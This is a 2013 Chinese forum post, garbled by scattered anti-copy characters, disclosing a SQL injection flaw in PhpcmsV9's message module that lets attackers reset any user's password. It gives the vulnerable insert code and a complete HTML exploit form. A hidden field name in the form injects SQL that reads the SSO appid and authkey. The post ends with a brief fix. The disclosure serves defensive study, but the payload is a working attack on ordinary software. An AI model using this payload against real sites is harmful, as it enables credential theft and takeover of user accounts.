找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1970|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:* ^4 w9 d) F. z  {

; J) R4 Q" f/ Q- O1 I' e5 h第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。3 ~- C7 Q4 @& P; J- m+ W

( V( Y1 Z$ N8 |3 }& G- N; o* W' s8 }$ i明天再更新下一个漏洞。  ?" Z9 O+ n# S3 X, i
详细说明:
! @1 d/ h3 b' z) z& n3 q* o在/phpcms9/phpcms/modules/message/index.php中有代码如下:
) D$ f( ?! I& b5 s# c# H; R& |) T, m# D" `
$messageid = $this->message_db->insert($_POST['info'],true);
! c4 |, }6 J& u5 q; }3 x' r# A  \) c0 _+ L5 X+ Q& Z( [

) }! b0 x) ^  g0 W& y: a8 y, xinsert方法是key value的,代码如下:6 g% m' q3 k8 d; W# ]$ N" N

" D+ a6 w" ~0 d! a) ^  Y3 vpublic function insert($data, $table, $return_insert_id = false, $replace = false) {8 j. t9 G: v" r
                if(!is_array( $data ) || $table == '' || count($data) == 0) {5 r- v0 k& X1 x: d" S
                        return false;
5 l# l1 Y$ i& m( U% W4 ?/ s                }3 C$ I4 O' y, {' O7 l
                + h' O* ~) I* s- V, N5 L) L
                $fielddata = array_keys($data);
# \8 Y) i1 G7 V$ G                $valuedata = array_values($data);, ~# ^4 i9 F* {/ Q7 N" {
                array_walk($fielddata, array($this, 'add_special_char'));7 G  F$ p5 ^* H" O! @- q2 E
                array_walk($valuedata, array($this, 'escape_string'));: ]% o1 ^# R8 ~" I6 b9 r3 N5 _) `& H
               
& r! J/ m6 p  l" F6 M! N; _                $field = implode (',', $fielddata);: u1 O0 \/ ^6 p  e/ s
                $value = implode (',', $valuedata);0 G9 ?! s& o* i# x

9 A9 Z/ X1 O/ t$ z/ V$ |; Z                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
9 E) O! {7 p' d& a: W; E' S                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';& S, a2 D0 @' p/ b; }7 ~
                $return = $this->execute($sql);
) B3 R- d, j& x+ \" z                return $return_insert_id ? $this->insert_id() : $return;
2 h5 r  o& g7 a0 q/ s        }" v$ T' ]/ R1 l% j' o3 ^# A1 P3 E
7 f8 M$ r0 P. l6 e4 {$ I( \/ G

" V" r) {1 w6 w% c9 }嗯,很遗憾的是$ d+ D% m. u2 L: o0 J# M: m# p! `

0 Y2 Z" p) {! ^$ m! k2 o% C5 e$ k0 `, Barray_walk($fielddata, array($this, 'add_special_char'));, ^: A  O1 U4 h2 z6 b4 }6 ]
" B" @; A) G4 j. U
0 p( _# x0 |2 G" ^7 x9 i
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。6 m; R: a) h  C" K2 q
8 \$ j# g/ x# `' \9 l: O
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
0 D0 G3 k  y7 B! I% ?( P
, Q5 C6 n; y3 w" T( D  H漏洞证明:9 H" C, _6 _2 h( f' E
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
, g6 D) G' k. r- x1 X8 O' L6 Z! s, k! o+ m! s# ~
3 ^$ U. h+ x9 h8 `
表单如下:用户名什么的得自己改一改。9 N( |. K- i3 r& g
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) z/ X: C/ |  ~<table width="100%" cellspacing="0" class="table_form">" C  ]" t8 l- p5 R3 Q
<tr>
5 j$ ]! e: s  F% D8 w<th>标 题:</th>  o# F' ~- U- Y3 i* Z
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
$ T7 ^" \" e+ u1 f% I1 g</tr> 8 F' c+ f# [1 N+ G9 ]% j
<tr>" ]* v+ M; u% B2 ^& `& \
<th>内 容:</th>& Q: m7 a9 ^& s9 e) ]. j
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>4 s8 v3 o; s! Z
</tr>
4 B: b( I/ b3 E<input type="hidden" name="info[replyid]" value="2" /> % c& x* @" s% G# ?* ^
<input type="hidden" name="info[send_to_id]" value="cc" /> ' w- Y1 R/ G& P8 k+ _6 F; e
<input type="hidden" name="info[send_from_id]" value="hh">
9 F1 k" c  `6 f* j<!-- 漏洞的利用重点在这里开始 -->  G2 i8 \% d- W/ ]% V* M
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ! N1 |* o; g. i. G- Z/ Y0 w
<!-- 漏洞的利用重点在这里结束 -->
* r& B. t" b% h# e' \<tr>/ {) X: U6 L( B5 i
<th>验证码:</th>: d* T) p1 P( Q$ i* I8 {
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
# ]. q4 F2 t$ N- S5 L% J6 `</tr>
8 J) h6 R5 |1 _5 w8 F! k<tr>
; ?+ d# w2 B% s<td></td>
/ f+ @" ?. C* \; D1 Q2 t7 @4 `7 D. A- E<td colspan="2"><label>" g, V$ s2 Y7 U: E
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
" {: b3 `- V8 q! K& V% F</label></td>* J: v, u2 m$ R" n6 I1 o+ _
</tr>% @! Y# u7 w6 E* O$ M* P( R. Q2 M& |
</table>) l* A7 R8 k( p
</form>
3 q% e: l3 X- n% Q( u- |在add_special_char函数内对key做过滤就可以了。
# R) Z! h! s" ?/ |( I! e
9 ^+ z! ]- `8 b) |. n% _0 V1 O! f$ p' N2 M
8 a& W* I( ]/ o% m

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表